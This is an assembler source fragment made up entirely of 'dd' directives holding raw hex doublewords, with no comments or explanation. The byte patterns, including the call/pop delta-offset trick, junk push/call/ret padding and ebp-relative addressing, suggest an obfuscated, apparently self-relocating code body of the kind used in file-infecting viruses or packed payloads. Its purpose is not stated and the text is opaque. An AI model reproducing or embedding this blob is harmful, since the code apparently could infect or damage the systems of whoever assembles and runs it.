dd 66652BC0h, 184B05C0h, 6FEBBF56h, 122514A5h, 7B9EDD90h
dd 58764790h, 0F12D60CBh, 0F972F5CCh, 6572CCD4h, 3B767490h
dd 0A6D5F9C3h, 51AB37FDh, 0EA905D6Dh, 0D03F81F8h, 2A26C3C4h
dd 49798EC0h, 202CB1C6h, 78767C78h, 8C4F9690h, 954D3DF3h
dd 0F917D766h, 6DBC6394h, 781CE701h, 787539C0h, 2056E890h
dd 3CFF2C53h, 3CF73EB4h, 786019B4h, 28368E90h, 518F1653h
dd 7873279Fh, 2DCFD190h, 876F2C04h, 4D600925h, 28765099h
dd 78761E78h, 0BB2EAE90h, 5C32CEC8h, 5C322294h, 7876CD94h
dd 0BB26A890h, 1BF3CAECh, 0E8077713h, 787EF542h, 993B8E90h
dd 46DB1CB4h, 9EF69D65h, 97F78B79h, 62D68733h, 306F11Dh
dd 781C33A8h, 7875F5C6h, 26568E90h, 0CFF1953h, 3CF7A7B4h
dd 786CD5B4h, 2E30E890h, 99777D53h, 0CC4960C0h, 5C3B88BBh
dd 0A88987A5h, 902147FAh, 7876A393h, 27B58EB0h, 7C529419h
dd 7C523011h, 78763A8Ch
dd 0BAB54AD7h, 0A7E1136Bh, 9DB8157Dh, 75732619h, 781CD8A5h
dd 787500C3h, 23567490h, 24FF6153h, 3CF719B4h, 786F8AB4h
dd 2B354790h, 7C4BCE53h, 0F39EF530h, 0E5F32E63h, 2F7F4187h
dd 90263AFAh, 78761D93h, 20B5D6B0h, 7C520319h, 7C52E711h
dd 7876D184h, 0AEB5B8D0h, 0DDFB7D69h, 107F0F80h, 0F91C144Ch
dd 0F9A005F6h, 305C6394h, 0FAC4AD0Ah, 6E0B646Fh, 781CE1A5h
dd 78759CC7h, 27563A90h, 4FF4253h, 3CF78AB4h, 786143B4h
dd 2F31A390h, 904A1653h, 0F5375DC9h, 400D0415h, 0CD755A99h
dd 71433E75h, 1EA671F1h, 0CCBD9D11h, 56CF2619h, 0B6FDD8A5h
dd 651B7519h, 0FDB07DA5h, 71432D0Dh, 0CFB09CD3h, 105BD68Fh
dd 0D537F76Dh, 4CF7FDC0h, 0A9B604B4h, 29768281h, 78767778h
dd 0BB2F1A90h, 5C3A94C9h, 5C320F94h, 78765394h, 0BB27E290h
dd 5C32EB3h, 127FDD86h, 7B9E2790h, 58763A90h, 0F12DDECBh
dd 0F972AACCh, 6D7263D4h, 3B76A390h, 1C12C3h, 1E8663F6h
dd 34F78311h, 306BF1Dh, 781C14A8h, 787566C6h, 26564790h
dd 0CFFFD53h, 3CF7D5B4h, 786EECB4h, 2E307490h, 0DF43553h
dd 0F3167509h, 4D52B31Dh, 196CF399h, 781C736Fh, 787539C0h
dd 2056E890h, 3CFF2C53h, 3CF73EB4h, 786F19B4h, 28368E90h
dd 5F63F053h, 91435FE0h, 7876D19Dh, 0C2F5B22Ch, 4E289C9Bh
dd 4B71E303h, 0F9F39426h, 1E7FBB9Ch, 0F547C329h, 40C1DC15h
dd 2D76BB99h, 7876EB78h, 0BB2B5490h, 5C1AB3CDh, 5C329C94h
dd 78769A94h, 0BB230290h, 78F2AC09h, 0E876D190h, 2A26BAC0h
dd 77B8FFF6h, 7870D3A1h, 0C8191D90h, 0C2C1B0CFh, 49791FCAh
dd 27A728C6h, 0CA2689CAh, 0ED477835h, 7143500Dh, 696FAF6Fh
dd 0AEFD14A5h, 781C561Bh, 7875AFC3h, 2356A390h, 24FF8A53h
dd 3CF7ECB4h, 786E70B4h, 2B353A90h, 48E9AE53h, 0FD5F0CEDh
dd 71434405h, 0CF05261Dh, 781CD8A8h, 787500C0h, 20567490h
dd 3CFF6253h, 3CF719B4h, 78618AB4h, 28364790h, 796F8D53h
dd 7AFFDE01h, 0F376E890h, 7CFF2458h, 2E7650B4h, 78761E78h
dd 0BB28AE90h, 5C02CECEh, 5C322294h, 7876CC94h, 0BB20AE90h
dd 7503AA6Bh, 0CDB247BAh, 0F3246D04h, 4D747F25h, 7E9E1E99h
dd 0F676A390h, 61C4F5E2h, 91F78E2Dh, 0EB2F19A8h, 497968C0h
dd 78769A9Fh, 202C8E90h, 0EBA1CCC0h, 9027A3FAh, 7876D193h
dd 21B5B1B0h, 7C523819h, 7C527E11h, 78761D85h, 3BB5DFD1h
dd 0FDE3B869h, 777F96BAh, 7876D711h, 9C3C190h, 0F17F41B7h
dd 4D524B15h, 61E39699h, 777FBB94h, 0FDB1B02Fh, 71438B7Dh
dd 7876D19Fh, 6AC75D19h, 0ED897DA5h, 71431EE1h, 90251DFAh
dd 78768E93h, 23B51CB0h, 7C52FF19h, 7C529511h, 7876E88Bh
dd 6DB527D3h, 0B97DE3AFh, 4BA08ED5h, 4D637B25h, 85F3CE99h
dd 917F9695h, 7876D199h, 0BF56D7F6h, 86D34C7h, 0CDF3B1D0h
dd 0F57F28B2h, 40BC570Dh, 7935CE99h, 4A071E1Dh, 0CDFBD8A5h
dd 714E2223h, 78764729h, 93D2C990h, 7876A5A3h, 0B87D8E90h
dd 60B444E4h, 5C322890h, 789E829Ch, 2376E890h, 7861B711h
dd 24FF3A90h, 3CFF0DB4h, 0C02D9AB4h, 78CDE7A7h, 3CFD436Fh
dd 9889D5B4h, 9020E8FAh, 78767493h, 26B564B0h, 7C526919h
dd 7C52CA11h, 78764789h, 0B8B5F5D6h, 0C659BFD9h, 787E00C6h
dd 0A5527490h, 406547E3h, 0F3107062h, 781CD062h, 7875AFC6h
dd 2656A390h, 0CFF8F53h, 3CF7ECB4h, 786170B4h, 2E303A90h
dd 3ED51653h, 89FDE8F0h, 72BBDA99h, 0F310AAA5h, 781CB06Bh
dd 787500C1h, 21567490h, 34FF6353h, 3CF719B4h, 786B8AB4h
dd 29374790h, 987AD953h, 0E5530614h, 848CBD01h, 0CF05C91Dh
dd 0F5FB33A8h, 714ED616h, 5EDDBB28h, 0F9F37408h, 537F96BBh
dd 8091165Fh, 757876A3h, 83FAF82h, 93605074h, 20A68A77h
dd 1BB5DC6Eh, 31C5F5DDh, 0F305E983h, 6AD98BA4h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 4331C352h, 0E9BD6D83h, 0Eh, 4BCF4F11h, 9863EC14h, 0DE89B9C8h
dd 8166E0BBh, 0E9C45DE1h, 62h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0B1C35141h, 93AC74Dh, 0F10E4C8Fh
dd 0B86061DDh, 1687DCFBh, 0FE9h, 87E4E00h, 304822E5h, 5B11ED6Ch
dd 0DA0F1E18h, 0DE961h, 358A0000h, 0A40E0A8h, 0F71522Eh
dd 0C30EE197h, 8810Fh, 840F0000h, 2, 0C08B6160h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 23C35040h, 12E9214Fh
dd 42000000h, 9F9A8834h, 0AF3DE51h, 0EFF72AFFh, 8B17B017h
dd 0A1BD83A4h, 93526h, 0BD830975h, 9353079h, 50197400h
dd 0B8C08B53h, 4B9h, 2CA98589h, 9D8D0935h, 937B49Fh, 585BD3FFh
dd 3079BD83h, 74000935h, 0B8535017h, 4B9h, 2CA98589h, 9D8D0935h
dd 937B140h, 585BD3FFh, 0EE9h, 2400D200h, 0CA2E7248h, 4F4BC92h
dd 0FA60DB9h, 1689h, 11E900h, 4B0D0000h, 0A7176C52h, 2989EA13h
dd 0B6C4E8E1h, 6A1571B8h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 0B23EC353h, 6042C89Bh
dd 2B4DF81h, 61FC185Dh, 820FC08Bh, 8, 28D0Fh, 61600000h
dd 66C18B40h, 0D57AEE81h, 4EBh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 984F24C3h
dd 59858D14h, 0F9093526h, 0A4B16090h, 0EE85061h, 49000000h
dd 3CF4B485h, 72066A87h, 956ECF2Ch, 5EFEBFC9h, 905E26D7h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8CC35242h
dd 8B4DE0CBh, 352D4DBDh, 6A006A09h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 673AC352h
dd 2B2601F4h, 0AE8AF40h, 61000000h, 0A8371362h, 0E1DF7B52h
dd 0FABF0F46h, 6A006A5Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 953FC356h, 0AA327D20h
dd 8D0F377Bh, 2, 858DFE8Bh, 938CEB9h, 6A05C083h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 844C355h, 3270DD7Bh, 0AE95Fh, 0E57D0000h, 0DA093F45h
dd 4259C6FDh, 91BE5090h, 90436110h, 311B589h, 6A0935h
dd 6E9h, 751C3600h, 6A9AF013h, 3195FF00h, 66093503h, 5897D781h
dd 9AAB9D8Dh, 0FFFC0938h, 0A5BD8BD3h, 0FF093505h, 35300985h
dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0F679376Ah, 5213AF42h, 89B58B64h, 0F09352Ah
dd 689h, 0BDC78100h, 0E951B913h, 78Dh, 0E8h, 0ED815D00h
dd 938CEC3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0E4C35141h, 0B549E927h, 0EDBD8107h, 0D0093528h
dd 0F000007h, 17786h, 0EE800h, 660D0000h, 36C0BAB6h, 539F8C5Dh
dd 41937E7Bh, 0ED9D8B5Eh, 6A09352Ch, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CFA6C352h
dd 0D1C8A0B8h, 12A1B58Bh, 0E3810935h, 100h, 0AADBD8Bh
dd 0DB0B0935h, 0B1850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 872B7BC3h, 0AE45CA13h
dd 0CD38BD83h, 0F000938h, 5484h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 858960DBh
dd 9350615h, 6122ED80h, 7DE9FA8Bh, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 9ADEC350h, 9295D95h, 350D1985h, 3885C709h, 10938CDh
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0E95CC350h, 2Ch, 0C7FFB70Fh, 38CD3885h
dd 9, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 4584DEA8h, 2CED9D8Dh, 0FB8B0935h
dd 0FEFF2381h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0E96E6C3h, 89289F5Bh, 3504898Dh
dd 0CE909h, 0A6510000h, 0E1D25029h, 2EDB20C3h, 5E579611h
dd 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 0E6ABC355h, 8B6BB97Ah, 4C3F6FAh
dd 75840Fh, 0BF660000h, 95FFDF03h, 9352471h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 43C35242h, 291F79FEh
dd 1426F0AFh, 0E19D8957h, 5E09350Ah, 1F659501h, 0F500935h
dd 88Dh, 52506000h, 585A310Fh, 24048961h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 14h, 0BCC35343h, 3156FC60h
dd 351F5DBDh, 0E9615B09h, 434h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 75C35747h, 5E96885h, 0A2000000h
dd 78917644h, 0B49BD8Bh, 7EBE0935h, 0B02B9665h, 48A0F00h
dd 51000000h, 0E65F6160h, 8971E470h, 3511C59Dh, 0D8B60F09h
dd 6BAF5h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0DCAF45C3h, 0A0FF60B6h, 0EE9C9h
dd 0A3260000h, 0BE740B3h, 9E363387h, 816AC853h, 8166C38Bh
dd 0C18834E7h, 14BF04E8h, 817F53A8h, 0B58406EEh, 0E2F76672h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 93C35545h
dd 2B02EA42h, 0E950F9D8h, 10h, 0E1D0856Dh, 0F835DAD1h
dd 0B08134C1h, 27DAFBD1h, 0E8241C89h, 5, 16B62A7Ch, 0CFDE81C8h
dd 5F6E6809h, 28EDB5FFh, 9D890935h, 935083Dh, 27E5B503h
dd 95FF0935h, 9350829h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 34C35141h, 8E983h, 96940000h, 16CDAFDCh
dd 0B05955h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0E0C35646h, 6A70E607h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 776DC355h, 9E6C6BBBh
dd 12E971E4h, 0C4000000h, 0E37094B5h, 8205CEB2h, 84663BC3h
dd 0D044748Dh, 0F613C16h, 2A383h, 261CBF00h, 0B60F1591h
dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 6BA7080h, 0F000000h, 2E80h, 14E800h, 0A20E0000h
dd 0F4757FF2h, 31DF0B9Fh, 4370348Ah, 5D28EAF0h, 0FE927DEh
dd 0F8000000h, 7F571Ch, 0B105074Bh, 0F46A2D21h, 8B5EFADAh
dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0C47D2A0Dh, 6A04E8C1h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0FA59C355h
dd 0E2F766F1h, 242DBD89h, 0BF0F0935h, 0E9D82BF8h, 13h
dd 672782C1h, 37FA6F9Bh, 6B384209h, 8D4911CBh, 58F84167h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6FC35646h
dd 2DBD0953h, 5F093532h, 880FD82Bh, 1B0h, 3E80EE81h, 7B95087h
dd 8B000000h, 352795BDh, 0C18309h, 0F781FA8Bh, 3950764Ah
dd 860FD93Bh, 18Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 4DC35646h, 7A38CB44h, 0B3F0C21Bh, 119BD01h
dd 13E80935h, 0AF000000h, 0D25539FFh, 703542F4h, 0D0B85F5Ah
dd 5B5132FAh, 81663958h, 5F3F7BC7h, 6AD98C66h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0F21C357h, 0C1F6F1BFh, 0F0840F04h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 5F35C355h, 19C4E16Dh, 74BF474Fh, 8B3039E4h, 7195FFF3h
dd 6A093524h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0FD1C351h, 8E9F3BFh, 79000000h
dd 0D17227Ah, 5BF845C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 0C1C35242h, 416A08CDh, 819529E5h, 2B09352Fh
dd 8E9C3h, 0ACA40000h, 4E84E9E8h, 343D3230h, 0F000008h
dd 5286h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 24DE8132h, 0E933BC10h, 54h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 44C35545h, 14AE6BBh
dd 352CD585h, 0B1B58B09h, 8B093522h, 50006AC0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0B14E6724h
dd 9529B134h, 9350351h, 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 98C35747h, 7BCC00EAh, 499D8981h
dd 0C7093500h, 350CF985h, 0DBE19D09h, 57006A1Bh, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0CF81B833h, 3F920842h, 0B58BC08Bh, 93504DDh, 28EDBD81h
dd 7D00935h, 850F0000h, 0Bh, 85FFF98Bh, 93528EDh, 0FFFA8B66h
dd 3528EDB5h, 6E809h, 47C00000h, 0FC93AB49h, 12E9h, 0EF131A00h
dd 694B9213h, 0EBDD5BBh, 100E9D70h, 5EDFB426h, 82995FFh
dd 0B58B0935h, 9350471h, 5678B890h, 0BD8B1234h, 9351601h
dd 25C59D89h, 9D8D0935h, 938D5FFh, 0FFF8A3E9h, 52006AFFh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 1AA9E1B8h, 0CB4DD57h, 6DB5891Ah, 8B093524h, 3502CDBDh
dd 89C18B09h, 3516E5B5h, 4EB09h, 81000000h, 0D1A1F9F7h
dd 55006A75h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 21E8B419h, 149CC646h, 8C0Fh, 858D0000h
dd 9352659h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0B4C35040h, 0EBFDB109h, 0B58BB62Ch, 93527F9h, 11E890h
dd 16FA0000h, 7A28C1A4h, 39D00D6Bh, 81CBFB10h, 662FD59Dh
dd 5E2B1CBEh, 0C57ABE50h, 89901CA0h, 3527A59Dh, 11E909h
dd 0EC060000h, 34A5FA35h, 0E8E08005h, 0EE4C6FDDh, 6AD552CAh
dd 0EE816600h, 6A2AB1h, 77F68166h, 1D858DCCh, 6A0938D8h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0F814C351h, 0A9519006h, 0EE9C0AAh, 0DB000000h
dd 0C7936441h, 679A4050h, 143F7A94h, 5C08360h, 11F1B589h
dd 0BE900935h, 2DA65376h, 0F605150h, 82h, 905F6100h, 5446E681h
dd 6A6501h, 1219B58Bh, 6A0935h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 16h, 0D6C35747h, 0BF666A58h
dd 95FF1064h, 9350331h, 13E8h, 0E7958400h, 0C3FA63C6h
dd 0C9308B73h, 0F02D774Fh, 0F86C4D94h, 5FF18B66h, 9AAB9D8Dh
dd 6A0938h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0FE220BC3h, 0EAB0344Ah, 0D3FF3468h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 94C35040h, 1317C8B6h
dd 81BFA89Ah, 450370E7h, 6850F60h, 8B000000h, 352E55B5h
dd 0B58B5609h, 935255Dh, 985FF5Eh, 0E9093530h, 0F06h, 0E8h
dd 0ED815D00h, 938D827h, 0AE58F781h, 0BD81349Eh, 93528EDh
dd 7D0h, 1BC860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 57A819C3h, 0BE9h, 0DAE44800h
dd 43FBC84Ah, 4010180Dh, 419D8B5Fh, 0F8093504h, 100E381h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 47170CC3h, 0FDB0BF6h, 0F385h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0E9CCEE76h, 0B58909B0h, 93524ADh, 0D655BD83h, 0F000938h
dd 5B84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 820F6026h, 6, 860Fh, 0DEB80000h
dd 612B8A35h, 0B5E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 6FA537E6h, 0BE32D924h
dd 5526156h, 0D65585C7h, 10938h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 28C46AC3h
dd 7A437267h, 0F9E2AF4h, 57E9F9BFh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0D7E1C357h, 7CD518B8h, 0FCABD79h, 0B523F2B7h, 9352479h
dd 0D65585C7h, 938h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0C8D6B0C3h, 9D8D14B7h
dd 9350441h, 87D78166h, 0FF2381FCh, 6AFFFFFEh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 6A7DC356h, 0FDE0264h, 585h, 0F6816600h, 8C667EABh, 55006ADBh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 9F8267Ch, 351EF9B5h, 4C3F609h, 97840Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0C54D2C3h, 166DEBAh, 0FF757BA0h, 35247195h, 57006A09h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 929782Fh, 3504898Dh, 15BD8B09h, 90093524h, 0FB8B6660h
dd 8E9h, 43330200h, 795DE505h, 9050617Ch, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0ABC35343h, 736421D6h
dd 8D89AFDAh, 9350581h, 0C89C34BFh, 47CE908h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 606059C3h, 810Fh, 0BD8B0000h, 9352DCDh, 0B5896061h
dd 9352729h, 1618D01h, 61610935h, 0B70F00B0h, 6A70E6FAh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 0C3CDC352h, 4376166Ch, 0E4017F5Eh, 4DBD8B71h
dd 0F09350Dh, 686h, 0E19D8900h, 0F09352Ch, 6AD8B6h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 6BAF4C3h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 9915C352h, 6AC38Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 133C00C3h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 85FEC350h, 4DACC781h
dd 66F87484h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0B64462C3h, 0AE8BF38h, 7B000000h
dd 246B9348h, 707F0795h, 5FF38BA4h, 6AD82Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 336552C3h
dd 0CE989ACh, 5C000000h, 0BA334BECh, 79B958DBh, 66920250h
dd 502450BFh, 0AEC44BBEh, 241C891Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 0B8C35040h, 329E8770h, 0EDB5FF8Dh
dd 6A093528h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 0B455C350h, 9326F904h, 57572089h
dd 0EE9h, 0F2E2D100h, 56FDEABFh, 0A836A5ECh, 5F1B69EBh
dd 2995FF5Fh, 6A093508h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 5CA1C350h, 0BFE77976h
dd 51D1E260h, 0B0F88B66h, 14E900h, 0CBF80000h, 0C36CFE6Ch
dd 5CE2237Dh, 35BC0909h, 499BB94Ah, 70E625A7h, 0B58971E4h
dd 9351BA1h, 830F613Ch, 24Ah, 12E9h, 88F0500h, 98859DCh
dd 7FF140CDh, 0C50A113Ah, 0FE8A1D0h, 0FA8BD8B6h, 6BAh
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 550DAEDEh, 0C38BF94Eh, 31A98529h, 0E8C10935h
dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 0C23C4143h, 0F0BEF7Bh, 6860Fh, 0BD290000h
dd 9351681h, 1BC5B589h, 0F7660935h, 56006AE2h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0D82B34F6h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 98C35242h
dd 6A5852h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 23857EC3h, 1503AA6Ah, 89275EFBh, 3522C9BDh
dd 0D82BF809h, 154880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0EBD95FC3h, 0B9F17428h
dd 7, 2D2DB58Bh, 0C1830935h, 0E59D0900h, 6609351Ch, 3B29F8BEh
dd 13860FD9h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 1E98C357h, 0B58B0B8Fh
dd 9350691h, 4A5BD8Bh, 8C660935h, 4C1F6D9h, 0B5840Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 95FFEDC3h, 9352471h, 23058529h, 2B5B0935h, 55006AC3h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 81665359h, 3D3B17EEh, 834h, 5D860Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 56C01AC3h, 0DF7865C9h, 5DE9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 2C7A55Fh, 8D0F622Fh
dd 6, 23E1B58Bh, 81600935h, 61FFE4E7h, 8B61F874h, 55006AC0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 62828A8Fh, 0BF663776h, 0C38B5C84h, 6AD88Bh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 992BC5C3h, 0C7138F96h, 352CED85h
dd 0EA3DB09h, 0A5AEBE35h, 0C08B1FFAh, 26FFF681h, 0BD81778Eh
dd 93528EDh, 7D0h, 38850Fh, 820F0000h, 0
dd 28ED85FFh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 78CD31C3h, 6C8C5C77h, 895323C9h
dd 352919B5h, 0B5FF5F09h, 93528EDh, 12E9h, 45D4AF00h, 5FBF0D48h
dd 90E8BD77h, 0FF20C723h, 0FF7FAE60h, 35082995h, 56006A09h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 90F28B47h, 0F18B6640h, 3B9BD83h, 0F000935h, 8084h, 0FDBD0900h
dd 3093503h, 350DF9B5h, 0F9BD8309h, 93515h, 67840Fh, 0BD890000h
dd 9351E9Dh, 3B995FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 3DF268C3h, 50FFD0A3h
dd 840FC00Bh, 31h, 52F68166h, 28D8D09h, 8B09354Ch, 35023DBDh
dd 4D858909h, 0B8093501h, 5, 0FE1FFF9h, 0C86h, 6850F00h
dd 0F000000h, 86h, 0F5BD8300h, 93502h, 62C840Fh, 0B5290000h
dd 9351281h, 15F9BD83h, 0F000935h, 61984h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 5173716Eh, 8DF08B66h, 352C098Dh, 0CDBD8B09h, 0C709350Ah
dd 0B27C8401h, 4DBF6644h, 0CB018123h, 6A1499CFh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 4995C355h, 0E9CA6BE9h, 9, 71145E16h, 68B84739h, 441C7F2h
dd 0CE706B34h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 3EC35141h, 90A6D696h, 6E8h, 9E1C7100h, 8968E639h
dd 3525B1B5h, 41815E09h, 0D6D71004h, 75BD2931h, 8B09352Ah
dd 3502A1BDh, 0E8006A09h, 12h, 1FDE45BAh, 55536164h, 7AFCBFF4h
dd 177C4BD7h, 0BBF6DB7h, 5F4F0B19h, 2C09858Dh, 81660935h
dd 5004E0C6h, 0CE8h, 93A20900h, 15ECE685h, 0CD5A4E8Eh
dd 5B516093h, 61FE8B66h, 2404895Fh, 2F595FFh, 81660935h
dd 8DB6B0F7h, 352C098Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 0DA614D73h, 0BD8BFCE5h
dd 9350295h, 1C7h, 81660000h, 0C7EC91D7h, 441h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 8CE0C4C3h, 0DD55F2B0h, 0DE925BAh, 13000000h, 0DA28B15h
dd 0E5543121h, 4DC226F6h, 0BB66F960h, 0B612F43h, 97840FC0h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 139AC356h, 0BD7A226Fh, 8B47620Dh
dd 28D8DFAh, 6A09354Ch, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 4928C353h, 0F9DE9706h
dd 0E8913D68h, 0Ch, 4A8C12A3h, 0A8898B6Ah, 5B27F6C4h, 5B85Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 7BD6F5C3h, 3758C93h, 3830Fh, 8B660000h, 0FE1FFF3h
dd 8D8DF1B7h, 9352C09h, 0E856006Ah, 3, 5EC35E20h, 4247489h
